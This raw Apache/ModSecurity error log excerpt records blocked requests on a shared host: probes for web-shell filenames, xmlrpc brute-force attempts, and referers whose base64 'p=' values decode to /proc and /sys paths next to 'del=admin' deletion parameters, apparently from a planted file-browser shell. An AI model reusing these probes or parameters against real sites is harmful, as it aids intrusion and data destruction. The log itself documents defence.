57.141.14.37:39182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:14.300704 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.37:39182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:14.307881 2026] [security2:error] [pid 531797:tid 532008] [client 172.171.3.232:60151] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/7logs.php"] [unique_id "ai3xKsTA7b1mZrmcA-8ZNgAAAiA"] [Sat Jun 13 18:09:14.309261 2026] [security2:error] [pid 531797:tid 532103] [client 20.151.217.54:65257] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/mg.php"] [unique_id "ai3xKsTA7b1mZrmcA-8ZNwAAAnw"] [Sat Jun 13 18:09:14.525045 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MC9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:09:14.525300 2026] [access_compat:error] [pid 531155:tid 531224] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0MC9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:09:14.554317 2026] [security2:error] [pid 531797:tid 532054] [client 191.234.188.123:38670] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/wert.php"] [unique_id "ai3xKsTA7b1mZrmcA-8ZPAAAAkw"] [Sat Jun 13 18:09:14.559439 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:14.559733 2026] [access_compat:error] [pid 531797:tid 531895] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:14.642163 2026] [security2:error] [pid 531797:tid 531949] [remote 17.22.253.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKsTA7b1mZrmcA-8ZQAACbFU"] [Sat Jun 13 18:09:14.706698 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:14.706972 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:14.712023 2026] [security2:error] [pid 531797:tid 531932] [remote 17.246.23.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKsTA7b1mZrmcA-8ZQwACdUQ"] [Sat Jun 13 18:09:14.769028 2026] [security2:error] [pid 531797:tid 532057] [client 20.151.217.54:48187] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/ZSLeDE.php"] [unique_id "ai3xKsTA7b1mZrmcA-8ZRgAAAk8"] [Sat Jun 13 18:09:14.779809 2026] [security2:error] [pid 531155:tid 531361] [client 20.151.217.54:17028] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/dccs.php"] [unique_id "ai3xKimiP80klyS0NnrwtAAAAVY"] [Sat Jun 13 18:09:14.989604 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:09:14.989903 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:09:15.059695 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTk4NjIyL2N3ZA== [Sat Jun 13 18:09:15.059961 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTk4NjIyL2N3ZA== [Sat Jun 13 18:09:15.087455 2026] [security2:error] [pid 531797:tid 532070] [client 172.56.168.133:14799] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZTgAAAlw"] [Sat Jun 13 18:09:15.087572 2026] [security2:error] [pid 531797:tid 532070] [client 172.56.168.133:14799] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZTgAAAlw"] [Sat Jun 13 18:09:15.189199 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:15.189477 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:09:15.252027 2026] [security2:error] [pid 531797:tid 531942] [remote 17.22.237.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZUQACPU4"] [Sat Jun 13 18:09:15.276359 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.80:45695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:15.276638 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.80:45695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:15.330876 2026] [security2:error] [pid 531797:tid 532094] [client 191.233.234.186:53387] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/x.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZVwAAAnM"] [Sat Jun 13 18:09:15.505579 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:09:15.506037 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:09:15.508626 2026] [access_compat:error] [pid 531797:tid 531958] [remote 57.141.14.82:45056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:15.508909 2026] [access_compat:error] [pid 531797:tid 531958] [remote 57.141.14.82:45056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:15.571980 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:15.572419 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:09:15.588072 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.12:24726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:15.588515 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.12:24726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:15.606286 2026] [security2:error] [pid 531797:tid 532059] [client 20.151.217.54:48144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/less.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZbAAAAlE"] [Sat Jun 13 18:09:15.681698 2026] [security2:error] [pid 531797:tid 532064] [client 191.233.234.186:44262] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/dragonshell.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZcAAAAlY"] [Sat Jun 13 18:09:15.707968 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:15.708407 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:15.756893 2026] [security2:error] [pid 531155:tid 531157] [remote 17.246.23.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xKymiP80klyS0Nnrw1gABdwE"] [Sat Jun 13 18:09:15.782334 2026] [security2:error] [pid 531797:tid 532090] [client 191.234.188.123:47965] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/amwxl.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZcQAAAm8"] [Sat Jun 13 18:09:15.784853 2026] [security2:error] [pid 531797:tid 532050] [client 20.151.217.54:17079] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/wp-form.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZcgAAAkg"] [Sat Jun 13 18:09:15.817266 2026] [security2:error] [pid 531797:tid 531916] [remote 17.22.253.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xK8TA7b1mZrmcA-8ZdAACZTQ"] [Sat Jun 13 18:09:15.841755 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.11:28023] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:15.842145 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.11:28023] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:15.870042 2026] [security2:error] [pid 531155:tid 531315] [client 172.171.3.232:60132] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/sd.php"] [unique_id "ai3xKymiP80klyS0Nnrw3AAAASg"] [Sat Jun 13 18:09:16.009293 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.107:31363] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:16.009561 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.107:31363] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:16.030586 2026] [access_compat:error] [pid 531797:tid 531883] [remote 216.73.216.182:41746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:16.030887 2026] [access_compat:error] [pid 531797:tid 531883] [remote 216.73.216.182:41746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:16.037333 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZQ== [Sat Jun 13 18:09:16.037615 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZQ== [Sat Jun 13 18:09:16.101587 2026] [access_compat:error] [pid 531797:tid 531870] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxMzM4L25ldA== [Sat Jun 13 18:09:16.101905 2026] [access_compat:error] [pid 531797:tid 531870] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvODkxMzM4L25ldA== [Sat Jun 13 18:09:16.265546 2026] [security2:error] [pid 531155:tid 531162] [remote 74.7.227.22:45002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/"] [unique_id "ai3xLCmiP80klyS0Nnrw5wABMQY"], referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:16.375578 2026] [security2:error] [pid 531797:tid 532089] [client 191.233.234.186:53480] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/invisi.php"] [unique_id "ai3xLMTA7b1mZrmcA-8ZhQAAAm4"] [Sat Jun 13 18:09:16.559384 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:09:16.559872 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:09:16.617142 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.82:45062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:16.617592 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.82:45062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 